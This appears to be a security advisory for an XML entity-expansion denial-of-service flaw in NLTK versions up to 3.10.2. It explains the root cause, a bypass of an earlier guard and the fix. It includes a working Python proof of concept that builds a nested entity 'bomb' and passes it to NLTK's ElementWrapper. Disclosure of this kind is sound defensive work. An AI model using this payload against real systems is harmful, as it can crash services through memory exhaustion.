highCVE-2026-78681Sep 8, 2026

CVE-2026-78681: NLTK XML Entity Expansion (Billion Laughs) DoS

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Several XML parsing sites in NLTK used Python's standard ElementTree directly, letting an attacker feed a tiny crafted document that balloons to megabytes in memory and crashes the process.

Packagenltk
Ecosystempip
Affected<= 3.10.2
Fixed in3.10.3
CVE-2026-78681: NLTK XML Entity Expansion (Billion Laughs) DoS

The problem

NLTK <= 3.10.2 called xml.etree.ElementTree directly in at least four places: nltk.chunk.named_entity.load_ace_file, nltk.internals.ElementWrapper, and several functions in nltk.downloader (Package.fromxml, Collection.fromxml, _find_collections, _find_packages).

Python's stdlib XML parser honours <!ENTITY> declarations in a document's internal DTD subset and expands them recursively without a hard cap.

A payload of a few hundred bytes can expand to 1 MB or more per parse call. libexpat 2.6+ added an amplification cap, but it only kicks in above roughly 8 MiB of output, so any expansion below that threshold succeeds unconditionally, and builds linked against older libexpat (common on Python 3.10/3.11) have no cap at all.

This is a memory-amplification DoS (CWE-776), not XXE, because external entities are never fetched.

Proof of concept

A working proof-of-concept for CVE-2026-78681 in nltk, with the exact payload below.

python
import xml.etree.ElementTree as ET

def bomb(levels):
    # each level multiplies output by 10; e0 seeds 10 chars
    entities = "\n".join(
        f'<!ENTITY e{i} "{("&e%d;" % (i-1)) * 10}">'
        for i in range(1, levels + 1)
    )
    return (
        f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{entities}]>'
        f'<d>&e{levels};</d>'
    )

# 5 levels: ~330 bytes in, ~1 000 000 chars out (x3030 amplification)
ET.fromstring(bomb(5))

# Same payload via the vulnerable NLTK entry point
from nltk.internals import ElementWrapper
ElementWrapper(bomb(5))  # raises EntitiesForbidden in 3.10.3+

The root cause is CWE-776: Python's xml.etree.ElementTree.fromstring (and parse) passes <!ENTITY> declarations through to libexpat, which resolves each reference recursively. With 10 references per level and 10-character seeds, each additional nesting level multiplies the expanded output by 10, so 5 levels yields 1,000,000 characters from a 330-byte input.

An earlier text-based guard was bypassed by hiding a decoy <!DOCTYPE> in an XML comment prolog (the real declaration still parses). The patch avoids this entirely by re-parsing with a proper event-driven expat pre-scan, so structural tricks in comments or processing instructions cannot fool it.

The fix introduces nltk.xmlsec, a thin module that prefers defusedxml.ElementTree (which raises EntitiesForbidden on any <!ENTITY> declaration by default) and falls back to a xml.parsers.expat pre-scan when defusedxml is absent. All four vulnerable call sites are routed through it.

The fix

Upgrade to NLTK 3.10.3. The patch (commit e91789c9a043296ad04912ce171c22776d45963b) adds nltk/xmlsec.py and rewires all four call sites to use it. Installing defusedxml is strongly recommended as it becomes the primary back end; the stdlib expat fallback covers environments where defusedxml is unavailable.

Reported by LinZiyuu.

References: [1][2][3][4][5][6]

Related research